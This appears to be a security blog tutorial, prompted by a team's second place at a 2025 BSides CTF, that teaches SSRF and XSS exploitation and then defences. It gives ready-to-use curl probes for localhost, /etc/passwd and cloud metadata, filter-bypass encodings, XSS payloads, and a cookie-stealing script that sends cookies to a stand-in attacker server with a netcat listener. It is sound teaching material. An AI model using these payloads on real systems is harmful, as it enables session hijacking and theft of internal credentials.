Listen to this Post
Introduction:
Capture The Flag (CTF) competitions are no longer just games; they are intensive, real-world cybersecurity training grounds that test the limits of a participant’s technical skills and problem-solving speed. The recent success of the team “Bidar Beejas” at the TODS x BSides Vizag 2025 CTF, where they clinched 2nd place despite a packed academic schedule, demonstrates how focused practice on critical web vulnerabilities can yield dramatic results. This article deconstructs the key attack vectors, specifically Server-Side Request Forgery (SSRF) and Cross-Site Scripting (XSS), that dominate modern CTFs and, by extension, the current threat landscape.
Learning Objectives:
- Understand and exploit fundamental SSRF vulnerabilities to access internal systems.
- Craft and deploy effective XSS payloads to hijack user sessions.
- Develop a methodology for efficient reconnaissance and tool usage during timed security competitions.
You Should Know:
- Server-Side Request Forgery (SSRF): The Internal Network Key
SSRF vulnerabilities occur when a web application is tricked into making unauthorized requests to an internal or third-party system. Attackers can use this to bypass firewalls and access sensitive internal services, such as cloud metadata endpoints, database admin panels, or other applications not intended for public access.
Step‑by‑step guide explaining what this does and how to use it.
Step 1: Identify the Attack Vector. Look for application functionalities that fetch external resources. Common parameters include url, path, endpoint, api, or feed.
Step 2: Probe with Internal Addresses. Attempt to make the application call internal (localhost) addresses.
Linux/macOS Command:
curl -X POST 'http://vulnerable-site.com/fetch' -d 'url=http://localhost:8080' curl -X POST 'http://vulnerable-site.com/fetch' -d 'url=file:///etc/passwd'
Cloud Metadata Endpoint Test (AWS Example):
curl -X POST 'http://vulnerable-site.com/fetch' -d 'url=http://169.254.169.254/latest/meta-data/'
Step 3: Bypass Filters. If simple URLs are blocked, use obfuscation techniques:
URL Encoding: `http://127.0.0.1` becomes `http://%31%32%37%2E%30%2E%30%2E%31`
Using Alternative IP Representations: `http://0x7f000001` or `http://2130706433` (both represent 127.0.0.1).
DNS Rebinding: Use a service that returns a different IP on the second request.
2. Cross-Site Scripting (XSS): Hijacking the User’s Browser
XSS allows attackers to inject malicious client-side scripts into web pages viewed by other users. This can be used to steal session cookies, perform actions on behalf of the user, or deface websites.
Step‑by‑step guide explaining what this does and how to use it.
Step 1: Find Injection Points. Test every user-input field, including search bars, comment forms, and URL parameters.
Step 2: Test Basic Payloads. Start with simple scripts to confirm vulnerability.
<script>alert('XSS')</script>
<img src=x onerror=alert(1)>
<
svg onload=alert(1)>
Step 3: Steal Session Cookies. The primary goal is often to capture authenticated sessions. Set up a listener and inject a payload that sends the cookie to your server.
Using `nc` (Netcat) as a Listener:
nc -lvnp 8888
Malicious Payload:
<script>document.location='http://your-attacker-server:8888/?c='+document.cookie</script>
Step 4: Advanced Delivery. For stored XSS, the payload is saved on the server and executes for every user visiting the infected page. For reflected XSS, the payload is embedded in a link sent to the victim.
3. Efficient Reconnaissance with Subdomain Enumeration
Before you can exploit, you must discover. Finding all subdomains associated with a target is a critical first step in expanding the attack surface.
Step‑by‑step guide explaining what this does and how to use it.
Step 1: Use a Tool like sublist3r. This Python tool aggregates results from multiple search engines and databases.
Linux Command:
pip install sublist3r sublist3r -d example.com -o subdomains.txt
Step 2: Brute-Force for Hidden Subdomains. Use a wordlist to discover subdomains that aren’t publicly listed.
Using `ffuf` (a fast web fuzzer):
ffuf -w /usr/share/wordlists/SecLists/Discovery/DNS/namelist.txt -u http://FUZZ.example.com -o results.json
Step 3: Verify Active Subdomains. Use `httpx` to check which subdomains are live and responding.
cat subdomains.txt | httpx -silent > live_subdomains.txt
4. Automating SSRF Discovery with `ffuf`
Manual testing is slow. Automating the process of fuzzing for SSRF parameters allows for comprehensive coverage.
Step‑by‑step guide explaining what this does and how to use it.
Step 1: Prepare a Wordlist of Parameters. Common parameter names are found in wordlists like SecLists.
Step 2: Use `ffuf` to Fuzz Parameters. The goal is to find a parameter that accepts a URL.
ffuf -w /usr/share/wordlists/SecLists/Discovery/Web-Content/burp-parameter-names.txt -u 'http://target.com/fetch?FUZZ=http://your-collaborator-domain.com' -fs 0
(Here, `-fs 0` filters out responses of size 0, as a hit would likely generate a different response size when the external domain is called).
Step 3: Integrate with an SSRF Proxy. Use a tool like `ssrfproxy` to automatically handle the exploitation chain once a vulnerable parameter is found.
5. Building a Defensive Wall: Mitigating SSRF
Understanding exploitation is only half the battle. A true expert knows how to build defenses.
Step‑by‑step guide explaining what this does and how to use it.
Step 1: Implement an Allow/Deny List. Never let the application fetch arbitrary URLs. Maintain a strict allow list of permitted domains and protocols.
Step 2: Sanitize and Validate Input. Use robust libraries to parse and validate user input. Reject URLs containing internal IP addresses, localhost, or sensitive URL schemes (file://, gopher://, dict://).
Step 3: Implement Network Segmentation. Ensure that the web server cannot reach critical internal infrastructure. Apply strict egress firewall rules on the web server.
- Securing Against XSS with Content Security Policy (CSP)
XSS mitigation requires a multi-layered approach, with CSP being a powerful browser-level control.
Step‑by‑step guide explaining what this does and how to use it.
Step 1: Set a Strong Content Security Policy Header. This tells the browser which sources of script, style, and other resources are trusted.
Example CSP Header (to be set in your web server config or application code):
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted-cdn.com; object-src 'none';
This policy only allows scripts from the site’s own origin and one specific CDN, and blocks all plugins (object-src 'none').
Step 2: Use HTTPOnly and Secure Flags on Cookies. This prevents cookies from being accessed via JavaScript and ensures they are only sent over HTTPS.
Example in a Node.js/Express application:
res.cookie('sessionId', '12345', { httpOnly: true, secure: true, sameSite: 'strict' });
Step 3: Consistently Encode Output. Always contextually encode user-controlled data before rendering it in HTML, JavaScript, or CSS.
What Undercode Say:
- CTFs are a high-fidelity simulation of real-world attack scenarios, making them one of the most effective forms of hands-on cybersecurity training.
- Success is not just about individual technical prowess but about effective teamwork, rapid knowledge sharing, and a systematic methodology for problem-solving.
The “Bidar Beejas” team’s story is a powerful case study. Their achievement underscores a critical shift in skill development: theoretical knowledge must be pressure-tested in realistic environments. The focus on web vulnerabilities like SSRF and XSS is particularly telling, as these remain among the most prevalent and damaging classes of bugs in production systems. Their ability to “carry” knowledge from a stronger web-focused partner (Swarnim Bandekar) and immediately apply it highlights the collaborative nature of modern security work. This incident proves that even with limited time, a focused effort on the OWASP Top Ten, combined with efficient tool usage, can produce exceptional results, bridging the gap between academic learning and practical, high-stakes security expertise.
Prediction:
The techniques showcased in CTFs like TODS x BSides Vizag 2025 are a leading indicator of the evolving threat landscape. We predict a continued rise in sophisticated, automated SSRF attacks targeting cloud metadata services and serverless function environments, leading to major cloud credential theft incidents. Furthermore, as web applications become more complex with heavy JavaScript use, client-side XSS attacks will evolve into more subtle “DOM clobbering” and supply chain attacks via compromised third-party libraries. The teams that master these web fundamentals today will be the ones defending against—and preventing—the multi-million dollar breaches of tomorrow.
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Vikhyat Shajee – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
